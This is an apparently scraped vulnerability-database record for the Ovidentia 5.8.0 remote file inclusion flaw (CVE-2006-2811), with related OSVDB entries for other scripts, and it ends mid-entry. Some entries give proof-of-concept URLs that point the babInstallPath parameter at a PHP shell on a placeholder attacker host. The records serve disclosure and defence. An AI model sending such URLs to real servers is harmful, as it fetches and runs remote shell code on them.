{"edition": 1, "title": "Ovidentia search.php babInstallPath Variable Remote File Inclusion", "bulletinFamily": "software", "published": "2006-05-31T05:18:10", "lastseen": "2017-04-28T13:20:23", "modified": "2006-05-31T05:18:10", "reporter": "black-code(black-cod3@hotmail.com)", "viewCount": 3, "href": "https://vulners.com/osvdb/OSVDB:27215", "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the search.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the search.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/orid/ovidentia/search.php?babInstallPath=http://[attacker]/r57.txt?\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27214](https://vulners.com/osvdb/OSVDB:27214)\n[Related OSVDB ID: 27218](https://vulners.com/osvdb/OSVDB:27218)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27223](https://vulners.com/osvdb/OSVDB:27223)\n[Related OSVDB ID: 27224](https://vulners.com/osvdb/OSVDB:27224)\n[Related OSVDB ID: 27216](https://vulners.com/osvdb/OSVDB:27216)\n[Related OSVDB ID: 27219](https://vulners.com/osvdb/OSVDB:27219)\n[Related OSVDB ID: 27228](https://vulners.com/osvdb/OSVDB:27228)\n[Related OSVDB ID: 27209](https://vulners.com/osvdb/OSVDB:27209)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27222](https://vulners.com/osvdb/OSVDB:27222)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\n[Related OSVDB ID: 27227](https://vulners.com/osvdb/OSVDB:27227)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "affectedSoftware": [{"name": "Ovidentia", "version": "5.8.0", "operator": "eq"}], "type": "osvdb", "references": [], "enchantments": {"score": {"value": 7.4, "vector": "NONE", "modified": "2017-04-28T13:20:23", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2006-2811"]}, {"type": "exploitdb", "idList": ["EDB-ID:27949", "EDB-ID:27953", "EDB-ID:27955", "EDB-ID:27952", "EDB-ID:27956", "EDB-ID:27951", "EDB-ID:27954", "EDB-ID:27950"]}, {"type": "osvdb", "idList": ["OSVDB:27229", "OSVDB:27224", "OSVDB:27228", "OSVDB:27227", "OSVDB:27226", "OSVDB:27211", "OSVDB:27218", "OSVDB:27217", "OSVDB:27214", "OSVDB:27213"]}, {"type": "seebug", "idList": ["SSV:2689"]}], "modified": "2017-04-28T13:20:23", "rev": 2}, "vulnersScore": 7.4}, "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 7.5}, "cvelist": ["CVE-2006-2811"], "id": "OSVDB:27215"}

{"cve": [{"lastseen": "2020-10-03T11:48:15", "description": "Multiple PHP remote file inclusion vulnerabilities in Cantico Ovidentia 5.8.0 allow remote attackers to execute arbitrary PHP code via a URL in the babInstallPath parameter in (1) index.php, (2) topman.php, (3) approb.php, (4) vacadmb.php, (5) vacadma.php, (6) vacadm.php, (7) statart.php, (8) search.php, (9) posts.php, (10) options.php, (11) login.php, (12) frchart.php, (13) flbchart.php, (14) fileman.php, (15) faq.php, (16) event.php, (17) directory.php, (18) articles.php, (19) artedit.php, (20) calday.php, and additional unspecified PHP scripts. NOTE: the utilit.php vector is already covered by CVE-2005-1964.", "edition": 3, "cvss3": {}, "published": "2006-06-05T17:02:00", "title": "CVE-2006-2811", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": true, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-2811"], "modified": "2018-10-18T16:43:00", "cpe": ["cpe:/a:cantico:ovidentia:5.8.0"], "id": "CVE-2006-2811", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2811", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:cantico:ovidentia:5.8.0:*:*:*:*:*:*:*"]}], "osvdb": [{"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-2811"], "edition": 1, "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the login.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the login.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27215](https://vulners.com/osvdb/OSVDB:27215)\n[Related OSVDB ID: 27214](https://vulners.com/osvdb/OSVDB:27214)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27223](https://vulners.com/osvdb/OSVDB:27223)\n[Related OSVDB ID: 27224](https://vulners.com/osvdb/OSVDB:27224)\n[Related OSVDB ID: 27216](https://vulners.com/osvdb/OSVDB:27216)\n[Related OSVDB ID: 27219](https://vulners.com/osvdb/OSVDB:27219)\n[Related OSVDB ID: 27228](https://vulners.com/osvdb/OSVDB:27228)\n[Related OSVDB ID: 27209](https://vulners.com/osvdb/OSVDB:27209)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27222](https://vulners.com/osvdb/OSVDB:27222)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\n[Related OSVDB ID: 27227](https://vulners.com/osvdb/OSVDB:27227)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "modified": "2006-05-31T05:18:10", "published": "2006-05-31T05:18:10", "href": "https://vulners.com/osvdb/OSVDB:27218", "id": "OSVDB:27218", "title": "Ovidentia login.php babInstallPath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-2811"], "edition": 1, "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the topman.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the topman.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/orid/ovidentia/topman.php?babInstallPath=http://[attacker]/r57.txt?\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27215](https://vulners.com/osvdb/OSVDB:27215)\n[Related OSVDB ID: 27214](https://vulners.com/osvdb/OSVDB:27214)\n[Related OSVDB ID: 27218](https://vulners.com/osvdb/OSVDB:27218)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27223](https://vulners.com/osvdb/OSVDB:27223)\n[Related OSVDB ID: 27224](https://vulners.com/osvdb/OSVDB:27224)\n[Related OSVDB ID: 27216](https://vulners.com/osvdb/OSVDB:27216)\n[Related OSVDB ID: 27219](https://vulners.com/osvdb/OSVDB:27219)\n[Related OSVDB ID: 27228](https://vulners.com/osvdb/OSVDB:27228)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27222](https://vulners.com/osvdb/OSVDB:27222)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\n[Related OSVDB ID: 27227](https://vulners.com/osvdb/OSVDB:27227)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "modified": "2006-05-31T05:18:10", "published": "2006-05-31T05:18:10", "href": "https://vulners.com/osvdb/OSVDB:27209", "id": "OSVDB:27209", "title": "Ovidentia topman.php babInstallPath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-2811"], "edition": 1, "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the statart.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the statart.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/orid/ovidentia/statart.php?babInstallPath=http://[attacker]/r57.txt?\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27215](https://vulners.com/osvdb/OSVDB:27215)\n[Related OSVDB ID: 27218](https://vulners.com/osvdb/OSVDB:27218)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27223](https://vulners.com/osvdb/OSVDB:27223)\n[Related OSVDB ID: 27224](https://vulners.com/osvdb/OSVDB:27224)\n[Related OSVDB ID: 27216](https://vulners.com/osvdb/OSVDB:27216)\n[Related OSVDB ID: 27219](https://vulners.com/osvdb/OSVDB:27219)\n[Related OSVDB ID: 27228](https://vulners.com/osvdb/OSVDB:27228)\n[Related OSVDB ID: 27209](https://vulners.com/osvdb/OSVDB:27209)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27222](https://vulners.com/osvdb/OSVDB:27222)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\n[Related OSVDB ID: 27227](https://vulners.com/osvdb/OSVDB:27227)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "modified": "2006-05-31T05:18:10", "published": "2006-05-31T05:18:10", "href": "https://vulners.com/osvdb/OSVDB:27214", "id": "OSVDB:27214", "title": "Ovidentia statart.php babInstallPath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-2811"], "edition": 1, "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the approb.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the approb.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27215](https://vulners.com/osvdb/OSVDB:27215)\n[Related OSVDB ID: 27214](https://vulners.com/osvdb/OSVDB:27214)\n[Related OSVDB ID: 27218](https://vulners.com/osvdb/OSVDB:27218)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27223](https://vulners.com/osvdb/OSVDB:27223)\n[Related OSVDB ID: 27224](https://vulners.com/osvdb/OSVDB:27224)\n[Related OSVDB ID: 27216](https://vulners.com/osvdb/OSVDB:27216)\n[Related OSVDB ID: 27219](https://vulners.com/osvdb/OSVDB:27219)\n[Related OSVDB ID: 27209](https://vulners.com/osvdb/OSVDB:27209)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27222](https://vulners.com/osvdb/OSVDB:27222)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\n[Related OSVDB ID: 27227](https://vulners.com/osvdb/OSVDB:27227)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "modified": "2006-05-31T05:18:10", "published": "2006-05-31T05:18:10", "href": "https://vulners.com/osvdb/OSVDB:27228", "id": "OSVDB:27228", "title": "Ovidentia approb.php babInstallPath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-2811"], "edition": 1, "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the artedit.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the artedit.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27215](https://vulners.com/osvdb/OSVDB:27215)\n[Related OSVDB ID: 27214](https://vulners.com/osvdb/OSVDB:27214)\n[Related OSVDB ID: 27218](https://vulners.com/osvdb/OSVDB:27218)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27223](https://vulners.com/osvdb/OSVDB:27223)\n[Related OSVDB ID: 27224](https://vulners.com/osvdb/OSVDB:27224)\n[Related OSVDB ID: 27216](https://vulners.com/osvdb/OSVDB:27216)\n[Related OSVDB ID: 27219](https://vulners.com/osvdb/OSVDB:27219)\n[Related OSVDB ID: 27228](https://vulners.com/osvdb/OSVDB:27228)\n[Related OSVDB ID: 27209](https://vulners.com/osvdb/OSVDB:27209)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27222](https://vulners.com/osvdb/OSVDB:27222)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "modified": "2006-05-31T05:18:10", "published": "2006-05-31T05:18:10", "href": "https://vulners.com/osvdb/OSVDB:27227", "id": "OSVDB:27227", "title": "Ovidentia artedit.php babInstallPath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-2811"], "edition": 1, "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the posts.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the posts.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/orid/ovidentia/posts.php?babInstallPath=http://[attacker]/r57.txt?\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27215](https://vulners.com/osvdb/OSVDB:27215)\n[Related OSVDB ID: 27214](https://vulners.com/osvdb/OSVDB:27214)\n[Related OSVDB ID: 27218](https://vulners.com/osvdb/OSVDB:27218)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27223](https://vulners.com/osvdb/OSVDB:27223)\n[Related OSVDB ID: 27224](https://vulners.com/osvdb/OSVDB:27224)\n[Related OSVDB ID: 27219](https://vulners.com/osvdb/OSVDB:27219)\n[Related OSVDB ID: 27228](https://vulners.com/osvdb/OSVDB:27228)\n[Related OSVDB ID: 27209](https://vulners.com/osvdb/OSVDB:27209)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27222](https://vulners.com/osvdb/OSVDB:27222)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\n[Related OSVDB ID: 27227](https://vulners.com/osvdb/OSVDB:27227)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "modified": "2006-05-31T05:18:10", "published": "2006-05-31T05:18:10", "href": "https://vulners.com/osvdb/OSVDB:27216", "id": "OSVDB:27216", "title": "Ovidentia posts.php babInstallPath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-2811"], "edition": 1, "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the frchart.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the frchart.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27215](https://vulners.com/osvdb/OSVDB:27215)\n[Related OSVDB ID: 27214](https://vulners.com/osvdb/OSVDB:27214)\n[Related OSVDB ID: 27218](https://vulners.com/osvdb/OSVDB:27218)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27223](https://vulners.com/osvdb/OSVDB:27223)\n[Related OSVDB ID: 27224](https://vulners.com/osvdb/OSVDB:27224)\n[Related OSVDB ID: 27216](https://vulners.com/osvdb/OSVDB:27216)\n[Related OSVDB ID: 27228](https://vulners.com/osvdb/OSVDB:27228)\n[Related OSVDB ID: 27209](https://vulners.com/osvdb/OSVDB:27209)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27222](https://vulners.com/osvdb/OSVDB:27222)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\n[Related OSVDB ID: 27227](https://vulners.com/osvdb/OSVDB:27227)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "modified": "2006-05-31T05:18:10", "published": "2006-05-31T05:18:10", "href": "https://vulners.com/osvdb/OSVDB:27219", "id": "OSVDB:27219", "title": "Ovidentia frchart.php babInstallPath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-2811"], "edition": 1, "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the faq.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the faq.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27215](https://vulners.com/osvdb/OSVDB:27215)\n[Related OSVDB ID: 27214](https://vulners.com/osvdb/OSVDB:27214)\n[Related OSVDB ID: 27218](https://vulners.com/osvdb/OSVDB:27218)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27223](https://vulners.com/osvdb/OSVDB:27223)\n[Related OSVDB ID: 27224](https://vulners.com/osvdb/OSVDB:27224)\n[Related OSVDB ID: 27216](https://vulners.com/osvdb/OSVDB:27216)\n[Related OSVDB ID: 27219](https://vulners.com/osvdb/OSVDB:27219)\n[Related OSVDB ID: 27228](https://vulners.com/osvdb/OSVDB:27228)\n[Related OSVDB ID: 27209](https://vulners.com/osvdb/OSVDB:27209)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\n[Related OSVDB ID: 27227](https://vulners.com/osvdb/OSVDB:27227)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "modified": "2006-05-31T05:18:10", "published": "2006-05-31T05:18:10", "href": "https://vulners.com/osvdb/OSVDB:27222", "id": "OSVDB:27222", "title": "Ovidentia faq.php babInstallPath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-2811"], "edition": 1, "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the index.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known 